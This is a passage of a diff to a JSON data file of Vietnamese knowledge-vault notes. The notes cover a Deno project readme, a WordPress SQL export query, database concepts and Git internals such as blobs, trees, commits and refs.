nền PHP", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!NOTE] Hỗ trợ trực tiếp\r\n> Nếu bạn cần sự hỗ trợ trực tiếp, bạn có thể tham gia [các buổi hướng dẫn sử dụng Trấn Kỳ](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/c%C3%A1c%20bu%E1%BB%95i%20%C4%91%C3%A1p%20%E1%BB%A9ng%20nhu%20c%E1%BA%A7u%20h%E1%BB%8Dc%20c%C3%A1ch%20s%E1%BB%AD%20d%E1%BB%A5ng%20c%C3%B4ng%20c%E1%BB%A5%20v%C3%A0%20t%C6%B0%20duy%20l%E1%BA%ADp%20tr%C3%ACnh%20cho%20nhu%20c%E1%BA%A7u%20c%C3%A1%20nh%C3%A2n%20ho%E1%BA%B7c%20nghi%C3%AAn%20c%E1%BB%A9u/c%C3%A1c%20bu%E1%BB%95i%20h%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20tr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+H%C6%B0%E1%BB%9Bng+d%E1%BA%ABn+s%E1%BB%AD+d%E1%BB%A5ng+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3). Chúng là một phần của [các buổi đáp ứng nhu cầu học cách sử dụng công cụ và hiểu tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/c%C3%A1c%20bu%E1%BB%95i%20%C4%91%C3%A1p%20%E1%BB%A9ng%20nhu%20c%E1%BA%A7u%20h%E1%BB%8Dc%20c%C3%A1ch%20s%E1%BB%AD%20d%E1%BB%A5ng%20c%C3%B4ng%20c%E1%BB%A5%20v%C3%A0%20t%C6%B0%20duy%20l%E1%BA%ADp%20tr%C3%ACnh%20cho%20nhu%20c%E1%BA%A7u%20c%C3%A1%20nh%C3%A2n%20ho%E1%BA%B7c%20nghi%C3%AAn%20c%E1%BB%A9u/9%20blog/c%C3%A1c%20bu%E1%BB%95i%20%C4%91%C3%A1p%20%E1%BB%A9ng%20nhu%20c%E1%BA%A7u%20h%E1%BB%8Dc%20c%C3%A1ch%20s%E1%BB%AD%20d%E1%BB%A5ng%20c%C3%B4ng%20c%E1%BB%A5%20v%C3%A0%20t%C6%B0%20duy%20l%E1%BA%ADp%20tr%C3%ACnh%20cho%20nhu%20c%E1%BA%A7u%20c%C3%A1%20nh%C3%A2n%20ho%E1%BA%B7c%20nghi%C3%AAn%20c%E1%BB%A9u/?utm_source=CW+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+H%C6%B0%E1%BB%9Bng+d%E1%BA%ABn+s%E1%BB%AD+d%E1%BB%A5ng+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3).\r\n\r\n# 1. Cài đặt và sử dụng nhanh\r\n```dataview\r\nlist\r\nfrom \"👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh\" \r\n```\r\n\r\n# 2. Thiết lập chương trình\r\n```dataview\r\nlist\r\nfrom \"👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình\" \r\n```\r\n# 3. Hiểu code nói gì\r\n```dataview\r\nlist\r\nfrom \"👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì\" \r\n```\r\n", + "Toàn bộ nội dung": "[[phpMyAdmin là GUI để dùng MySQL]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zy" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "dh" }, { - "Tiêu đề": "readme", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/đối ⊷ thoại/readme", + "Tiêu đề": "WordPress.org là phần mềm mã nguồn mở. WordPress.com là dịch vụ hosting", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/WordPress.org là phần mềm mã nguồn mở. WordPress.com là dịch vụ hosting", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Thử nhanh\r\nSau khi cài đặt Git, Deno và clone repo này về thì chạy lệnh sau trên terminal:\r\n```\r\ndeno task start\r\n```\r\n\r\n# Lấy dữ liệu từ vault, website của bạn\r\n## Chuẩn bị dữ liệu\r\n### Obsidian, Logseq\r\nVault của bạn cần có một thư mục thiết lập, và trong đó có một note thiết lập có frontmatter như sau:\r\n```yaml\r\n---\r\nTên vault: xxx\r\nMã vault: yyy\r\nMô tả: zzz\r\nURL: ttt\r\n---\r\n```\r\n\r\n### WordPress \r\n[Mở PhPMyAdmin lên và chạy truy vấn SQL](https://youtu.be/VnBdOBKwPes?si=6XjJZ3hsX-WR15jT) dưới đây. Nhớ thay `wp` bằng tên table của bạn.\r\n```sql\r\nSELECT wp_posts.post_title, GROUP_CONCAT(wp_terms.name) AS categories, wp_posts.post_name, wp_posts.post_author, wp_posts.post_excerpt, wp_posts.post_date, wp_posts.post_modified\r\nFROM wp_posts\r\nLEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)\r\nLEFT JOIN wp_term_taxonomy ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)\r\nLEFT JOIN wp_terms ON (wp_term_taxonomy.term_id = wp_terms.term_id)\r\nWHERE wp_posts.post_type = 'post' \r\nAND wp_posts.post_status = 'publish'\r\nGROUP BY wp_posts.ID\r\n```\r\nXuất kết quả dưới dạng CSV.\r\n\r\n## Thiết lập cấu hình\r\nChỉnh sửa các cấu hình có sẵn trong `Cấu hình và dữ liệu/Nơi đăng` và các đường dẫn trong `Code chạy trên local, server, KV/ĐƯỜNG_DẪN.ts` cho đúng.\r\n\r\n## Tạo biến môi trường\r\nTạo tập tin `.env` với nội dung như sau:\r\n```env\r\nDENO_KV_ACCESS_TOKEN = XXX\r\nKV_UUID = YYY\r\n\r\nORIGIN = https://localhost:8000\r\nCORS_PROXY = https://mywebsite.deno.dev\r\n```\r\n\r\n## Tạo dữ liệu \r\nĐảm bảo tập tin `Code chạy trên local, server, KV/mod.ts` các dòng sau không bị comment:\r\n```ts\r\nimport { tạoBàiĐăng, tạoNơiĐăng } from \"./Tạo dữ liệu.ts\";\r\n\r\nawait tạoBàiĐăng();\r\nawait tạoNơiĐăng();\r\n```\r\nBắt đầu tạo danh sách bài đăng và nơi đăng bằng việc chạy lệnh sau trên terminal:\r\n```\r\ndeno run --allow-all --unstable-kv `Code chạy trên local, server, KV/mod.ts`\r\n```\r\nSau đó khởi động dự án bằng lệnh sau trên terminal:\r\n```\r\ndeno task start\r\n```\r\nTruy cập `http://localhost:8000` để xem kết quả\r\n\r\n## Deploy\r\nDùng Deno Deploy và liên kết tới GitHub của bạn.\r\n\r\n# Giấy phép\r\nAGPL: Người sử dụng dịch vụ của bạn có quyền tiếp cận và chia sẻ mã nguồn từ các chương trình bạn tạo ra dựa trên chương trình này. Đọc thêm về [lý do sử dụng giấy phép này](https://doi-thoai.deno.dev/why-affero-gpl.d.1 \"Why the GNU Affero GPL - GNU Project - Free Software Foundation\").\r\n![Logo AGPL](https://www.gnu.org/graphics/agplv3-with-text-162x68.png) ", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zz" + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "di" }, { - "Tiêu đề": "Xác định bài đăng giống nhau", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/đối ⊷ thoại/Xác định bài đăng giống nhau", + "Tiêu đề": "Bản chất của Git chỉ là những cặp giá trị key – value", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Bản chất của Git chỉ là những cặp giá trị key – value", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mô tả vấn đề: có nhiều loại thông tin không phải lúc nào cũng được ghi, và không phải cứ thay đổi là khác nhau. VD: cùng một bài đăng, nhưng URL có thể đã thay đổi khi đổi đường dẫn, tiêu đề có thể đã được viết lại, nội dung có thể đã được cập nhật, vault và dự án có thể đã được cấu trúc lại. Tất cả mọi thứ đều có thể đã khác, nhưng ta vẫn xem chúng là giống nhau. Đây là nghịch lý con tàu Theseus điển hình.\r\n \r\nHàm này sẽ xác định sự giống nhau dựa vào các tiêu chí chính và các tiêu chí phụ.\r\n\r\nCác tiêu chí chính: tiêu đề, URL, mô tả bài đăng, và toàn bộ nội dung bài đăng. Đây là các thành phần bắt buộc phải có khi viết bài. Chỉ cần trùng một trong 4 tiêu chí này thì mặc định là bài đăng giống nhau. Nhưng nếu không trùng hết tất cả thì cũng chưa chắc là khác nhau.\r\n\r\nNếu khác định dạng bài đăng (VD một cái là markdown, một cái là HTML) thì mặc định là bài đăng khác nhau.\r\n\r\nNếu các tiêu chí chính đều khác nhau và cùng định dạng bài đăng thì bắt đầu xét tới các tiêu chí phụ: Vault, id, mã bài đăng, tên dự án, mã dự án. Chúng là những thông tin thường hay bị bỏ qua khi viết. Tuy nhiên, chúng lại có đặc điểm là ít bị thay đổi hơn là các tiêu chí chính. Nếu có quá nửa số tiêu chí phụ khác nhau thì xét là bài đăng khác nhau. Còn không thì xét là giống nhau.", + "Toàn bộ nội dung": "Nguồn:: [Git - Git Objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects)\r\n\r\n[[Key là hash của object, value là nội dung object]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z-" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dj" }, { - "Tiêu đề": "đối ⊷ thoại", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/đối ⊷ thoại/đối ⊷ thoại", + "Tiêu đề": "Có 4 loại object chính: blob, tree, commit, annotated tag", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Có 4 loại object chính – blob, tree, commit, annotated tag", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Hướng dẫn sử dụng\r\n## Viết cấu hình chung\r\n## Viết cấu hình nơi đăng\r\n- 3 cấp bậc đầu: không có dấu `-` phía trước\r\n- Tất cả các cấp sau: luôn có dấu `-` phía trước. Nếu dưới nó còn có cấp nhỏ hơn thì phải có dấu `:` phía sau\r\n\r\n```\r\n - Quả Cầu https://quảcầu.cc\r\n - Obsidian, quản lý dự án và công cụ nghĩ https://obsidian.quảcầu.cc\r\n - Tiếp thị số, xử lý dữ liệu và lập trình https://lậptrình.quảcầu.cc\r\n - đối ⊷ thoại https://doi-thoai.deno.dev\r\n - Trấn Kỳ https://tranky.deno.dev\r\n```\r\n\r\n`Tên_website liên_kết`\r\n\r\n| Diễn đàn | Discord | Messenger | Telegram |\r\n| --------------------------- | -------------------------- | -------------- | -------- |\r\n| Tài khoản, trang, nhóm | Server | Community | Group |\r\n| Ảnh bìa, ảnh đại diện, v.v. | Text Channel/Forum Channel | Community Chat | Topic |\r\n| ❌ | Channel Thread/Forum Post | Sidechat | ❌ |\r\n\r\n\r\nDiễn đàn\r\n\r\n| | Tài khoản | Trang | Nhóm |\r\n| ----------------- | --------- | ----- | --------- |\r\n| Facebook/LinkedIn | | | |\r\n| Reddit | | | Subreddit |\r\n| GitHub | | Org | |\r\n| | | | |\r\n\r\n\r\nMạng xã hội\r\n\r\nđể tránh rối loạn thì chỉ dịch loại nơi đăng cấp 0, còn lại để tiếng Anh. Ví dụ như bio, about, description. Forum, website,\r\n\r\n| Loại nền tảng | Tên nền tảng | Loại nơi đăng | Tên nơi đăng |\r\n| ------------- | ------------ | -------------------- | ------------ |\r\n| SaaS | Tên SaaS | Tên dịch vụ của SaaS | |\r\n| | | | |\r\n\r\n\r\n| | Giới thiệu | Bình luận |\r\n| ---------- | ---------- | --------- |\r\n| Plain text | | |\r\n| Markdown | | |\r\n| HTML | | |\r\nĐịnh dạng đầu ra phụ thuộc vào:\r\n- Mục tiêu: chỉ gửi link, bình luận, giới thiệu\r\n- Định dạng: plain text, markdown, HTML\r\n\r\n\r\nNếu bạn có website \r\nNhất là những ai cần vault\r\n\r\nDùng F G vì cú pháp tiếng Anh cho phép để F ở trước, G ở sau.\r\n\r\nDiễn đàn là đăng và người khác có thể đọc được và có cơ chế xếp hạng bài đăng. Tương tác cao thì sẽ được đẩy lên cao hơn. Chat là chỉ những người vào đó mới đọc được, và không có cơ chế xếp hạng tin nhắn.\r\n\r\nBạn có thể ghi từ khác (VD: subreddit), nhưng sẽ mặc định là giống như nhóm\r\n# Liên kết rút gọn\r\nNếu có viết tắt thì dùng tên viết tắt, còn không thì lấy ký tự đầu tiên mỗi chữ\r\n\r\n- [ ] Convert bài viết thành định dạng phù hợp\r\n\r\n\r\n- 3 cấp bậc đầu: không có dấu `-` phía trước\r\n- Tất cả các cấp sau: luôn có dấu `-` phía trước. Nếu dưới nó còn có cấp nhỏ hơn thì phải có dấu `:` phía sau\r\n\r\n| Diễn đàn | Discord | Messenger | Telegram |\r\n| --------------------------- | -------------------------- | -------------- | -------- |\r\n| Tài khoản, trang, nhóm | Server | Community | Group |\r\n| Ảnh bìa, ảnh đại diện, v.v. | Text Channel/Forum Channel | Community Chat | Topic |\r\n| ❌ | Channel Thread/Forum Post | Sidechat | ❌ |\r\n\r\n\r\nDiễn đàn\r\n\r\n| | Tài khoản | Trang | Nhóm |\r\n| ----------------- | --------- | ----- | --------- |\r\n| Facebook/LinkedIn | | | |\r\n| Reddit | | | Subreddit |\r\n| GitHub | | Org | |\r\n| | | | |\r\n\r\n\r\n\r\n# Hướng dẫn sử dụng\r\nDán liên kết. Bấm Ctrl+Enter\r\nBối cảnh có thể là \r\nĐể xem nhanh \r\n\r\nNếu bạn có website \r\nNhất là những ai cần vault\r\n\r\nDùng F G vì cú pháp tiếng Anh cho phép để F ở trước, G ở sau.\r\n\r\nDiễn đàn là đăng và người khác có thể đọc được và có cơ chế xếp hạng bài đăng. Tương tác cao thì sẽ được đẩy lên cao hơn. Chat là chỉ những người vào đó mới đọc được, và không có cơ chế xếp hạng tin nhắn.\r\nDự án: điều mình muốn làm, chiến dịch: điều mọi người cần, vault, sản phẩm\r\n\r\nBạn có thể ghi từ khác (VD: subreddit), nhưng sẽ mặc định là giống như nhóm\r\n\r\n| Giờ | Ngày | Request | Transferred Bytes (MiB) | KV Read Unit (K) |\r\n| ----- | ---------- | ------- | ----------------------- | ---------------- |\r\n| 1:19 | 1/6 | 381 | 69.6 | 56.7 |\r\n| 10:43 | 1/6 | 389 | 76.9 | 61.1 |\r\n| 00:22 | 2024-06-02 | 397 | 77.4 | 61.1 |\r\n| 17:56 | 2024-06-02 | 409 | 85.1 | 65.4 |\r\n| 20:32 | | 423 | 98.7 | 81.3 |\r\n\r\n# Test\r\n| Time | Request Count | Transferred Bytes (MiB) | KV Read Unit | KV Write Unit | Note |\r\n| ----- | ------------- | ----------------------- | ------------ | ------------- | ---------------- |\r\n| 00:41 | 19 | 14.9 | 21 | 220 | Start from here |\r\n| 00:42 | | | | | Make 1st request |\r\n| 00:47 | 21 | 15.9 | 25 | 230 | |\r\n| 00:48 | | | | | Make 2nd request |\r\n| 00:59 | 22 | 16.6 | 25 | 230 | |\r\n| 13:26 | | | | | 3rd request |\r\n| 13:38 | 23 | 17.2 | 29 | 240 | |\r\n\t", + "Toàn bộ nội dung": "[[Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng]] \r\n\r\nGit sử dụng 1 database được xây dựng trên 4 objects (đối tượng) chính:\r\n\r\n- **Blob**: key-value của file\r\n- **Tree**: key-value của folder, trong tree chứa pointer trỏ đến tree và blob\r\n- **Commit**: chứa pointer trỏ đến tree\r\n- **Annotated Tag**: 1 pointer trỏ đến commit\r\n\r\n![](https://giangtester.com/wp-content/uploads/2021/09/image-3-1024x563.png)\r\n![](https://giangtester.com/wp-content/uploads/2021/09/image-4-1024x557.png)\r\n\r\n- Blue là blob\r\n- Green là tree\r\n- Orange là commit\r\n\r\nGit lưu **blob, tree, commit** ở đâu? —> ở folder `.git\\objects` nhé\r\nNguồn:: [[[Bản chất của git | GiangTester Blog](https://giangtester.com/ban-chat-cua-git/) ]]\r\n\r\n![Git Internals - Git Objects - YouTube](https://www.youtube.com/watch?v=MyvyqdQ3OjI)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z_" + "Ngày tạo": "2023-10-09T07:46:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dk" }, { - "Tiêu đề": "Các chương trình ứng dụng không giao tiếp trực tiếp với CSDL mà qua một trung gian gọi là hệ quản trị cơ sở dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Các chương trình ứng dụng không giao tiếp trực tiếp với CSDL mà qua một trung gian gọi là hệ quản trị cơ sở dữ liệu", + "Tiêu đề": "Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://xdulieu.com/co-so-du-lieu/cs1-khai-quat/nguoi-may.png) \r\nNguồn:: [Các phương pháp tổ chức dữ liệu](https://xdulieu.com/co-so-du-lieu/cs1-khai-quat/kq2-cac-phuong-phap-to-chuc-du-lieu.html)\r\n", + "Toàn bộ nội dung": "Chính vì [[Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự|nội dung file với hash là như nhau, nhưng file thì có kích thước vô cùng lớn, còn hash thì chỉ có 40 ký tự]], nên thay vì ta phải quản lý file, thì ta chỉ cần quản lý hash của chúng là được. Điểm trừ tất nhiên là ta không thể tái tạo lại nội dung file từ hash, vì hàm băm là hàm một chiều. Nhưng điều đó không quan trọng, nếu tất cả những gì ta cần là quản lý.\r\n\r\nFolder cũng tương tự như vậy. Thay vì quản lý một folder với các file, ta chỉ tạo ra một file là danh sách chứa các hash của các file trong folder đó, rồi quản lý cái hash của cái file đó là được. \r\n\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-05T09:30:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a0" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dl" }, { - "Tiêu đề": "DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", + "Tiêu đề": "Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://res.cloudinary.com/dg3gyk0gu/image/upload/c_scale,f_auto,q_auto:best,w_950/v1594114496/maggieappleton.com/databases-101/DB_3.jpg) \r\nNguồn:: [A Shelfish Starter Guide to Databases](https://maggieappleton.com/databases)\r\n", + "Toàn bộ nội dung": "\r\n\r\n[Is Hashing Encryption? #shorts #encryption #hashing #password - YouTube](https://youtube.com/shorts/4FsmgvUomVc?si=urQBnmlBrWVX1U6S)\r\n\r\n\r\n[[Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng|Có thể hiểu blob là hash của một file, tree là hash của một folder. Điều đó cũng có nghĩa là, commit thực ra chỉ là hash của folder tổng mà thôi.]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a1" + "Ngày tạo": "2024-07-21T05:43:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dm" }, { - "Tiêu đề": "Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", + "Tiêu đề": "Key là hash của object, value là nội dung object", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Key là hash của object, value là nội dung object", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "`=[[Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú]].a`\r\n- Thống nhất giữa các người dùng dễ dàng\r\n- Đảm bảo các bên tham gia nhập dữ liệu cùng một format\r\n- Số biến có hạn, nhưng nhất quán\r\n\r\nCâu hỏi:: Làm kỹ vấn đề onboard là được?, Dùng template là được?\r\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]\r\n\r\n[[Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc]]\r\nKhai báo biến trong một file thì sẽ bị phân mảnh. Khai báo trong bảng thì là khai báo trước dữ liệu sau\r\n\r\nThêm trường mới dễ dàng\r\nTạo biến trên csdl trước rồi mới add vào sau\r\n\r\n\r\nQuản lý insight thì không tốt lmaws\r\n\r\nNếu insight tiến hoá thì \r\n\r\nOdoo thiên về xử lý nghiệp vụ \r\n\r\n\r\nMuốn lưu cái gì thì phải đi khai báo. Cái gì cũng khai báo thì \r\n\r\nKhi thấy cần dữ liệu gì thì mới đi track. Người có kinh nghiệm sẽ biết những dữ liệu gì cần tráck theo từng pha\r\n\r\n\r\nQuản lý csdl thì phải phân loại. CR7 mà unique. \r\n\r\nNếu tư duy từ template thì nên đi từ tư duy database, ko nên đi theo kiểu text\r\n\r\nPhần mềm không giúp cho việc quản lý công việc chi tiết\r\n\r\nInput → store → bisiness process → view output \r\n\r\nCần dùng gr\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a2" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dn" }, { - "Tiêu đề": "Excel không phù hợp cho việc lập cơ sở dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Excel không phù hợp cho việc lập cơ sở dữ liệu", + "Tiêu đề": "Ref là hệ thống đặt tên các object", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Ref là hệ thống đặt tên các object", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Excel as a database - Neopoleon](https://www.neopoleon.com/blog/excel-as-a-database/)\r\n\r\nhttps://www.integrify.com/blog/posts/5-things-you-should-stop-doing-with-microsoft-excel/\r\nBy Mike Raia Posted June 13, 2018\r\n\r\n![](https://www.integrify.com/site/assets/files/2296/ways-not-to-use-excel-form.gif)\r\n\r\n---\r\n\r\n\r\n_Before you start the article, we wanted you to know that [workflow automation](https://www.integrify.com/landing-pages/workflow-automation/) can help wean people off of using Excel for the wrong reasons. [Check out what's possible.](https://www.integrify.com/landing-pages/workflow-automation/)_\r\n---\r\n\r\n\r\n### ![do not use excel for these things](https://www.integrify.com/site/assets/files/2296/excel-is-not-for.400x0-is.png)Excel is a great tool but it's often used in ways it was never intended. We suggest some of the ways it should **never** be used.\r\n\r\nMicrosoft Excel is a powerful spreadsheet that has been greatly refined over the past 30 years, especially with the development of macros. However, these capabilities have prompted many people to use Excel in ways for which it was never designed. For example, Excel isn’t a database, although many people use it as one. Excel may be able to serve this function for smaller data sets with simple rules, but a data set can quickly exceed Excel’s limitations as it grows. \r\n\r\nThere are far better tools out there to handle the specific use cases for which Excel is ill-equipped. Here are some of those use cases.\r\n\r\n## Forms\r\n\r\nThere are several reasons to avoid using Excel for forms. For instance:\r\n\r\n- Data entered into forms is typically disconnected from any database. Most Excel forms are just spreadsheets with blank cells to type into. This is only marginally better than a paper form.\r\n- Format and layout are cumbersome and time-consuming. To design a user-friendly form in Excel is a brutal exercise.\r\n- There are limited methods to control and validate input, resulting in bad data capture. Any attempts at validation are easily avoided.\r\n\r\nExcel was not designed for creating forms and to get a usable form that collects and stores data is prone to issues and simply not worth the effort. You're better off using a tool built for [designing forms](https://www.integrify.com/features/form-designer/) and handling data in a sensible way.\r\n\r\n[![workflow resources](https://no-cache.hubspot.com/cta/default/610486/40dfc51f-f3be-450d-baf2-36361cc5b265.png)](https://cta-redirect.hubspot.com/cta/redirect/610486/40dfc51f-f3be-450d-baf2-36361cc5b265)\r\n\r\n## Project Management\r\n\r\nExcel is often used for project planning, usually for small to midsize projects. The primary reason many people use Excel is that many team members are unfamiliar with project planning software options (or don't have budget for them) and Excel is readily available. Also, there are Excel project planning templates available for download. For simple solo projects that are basically a list of tasks and dates, Excel can be fairly effective.\r\n\r\nHowever, multiple users can’t work on the same Excel template at the same time unless your team is using the online version. Even then, it's easy to trip over each other while trying to edit. It also doesn't handle complex projects well and can become a densely-packed, color-coded nightmare for everyone except the person who created it.\r\n\r\nFurthermore, updating statuses manually and generating the required reports in Excel can more time than the work itself. Dedicated [project management software](https://www.capterra.com/project-management-software/) allows users to visualize and update the entire process of planning, reporting and monitoring a project in real-time. Manual data entry and duplicate reports are no longer a concern since all team members receive updates with the same report.\r\n", + "Toàn bộ nội dung": "Nguồn:: ![Git Internals - Creating a Repo From Scratch - YouTube](https://youtu.be/52MFjdGH20o?si=qM_C80JcARgK2FuE&t=316)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a3" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "do" }, { - "Tiêu đề": "File Google Docs không thực sự là file", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/File Google Docs không thực sự là file", + "Tiêu đề": "@ là viết tắt của HEAD", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/@ là viết tắt của HEAD", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[File là thứ mà nhiều chương trình khác nhau đều đọc được]]\r\nNguồn:: [Golems, smart objects, and the file metaphor (Interconnected)](https://interconnected.org/home/2021/02/01/golems)\r\n", + "Toàn bộ nội dung": 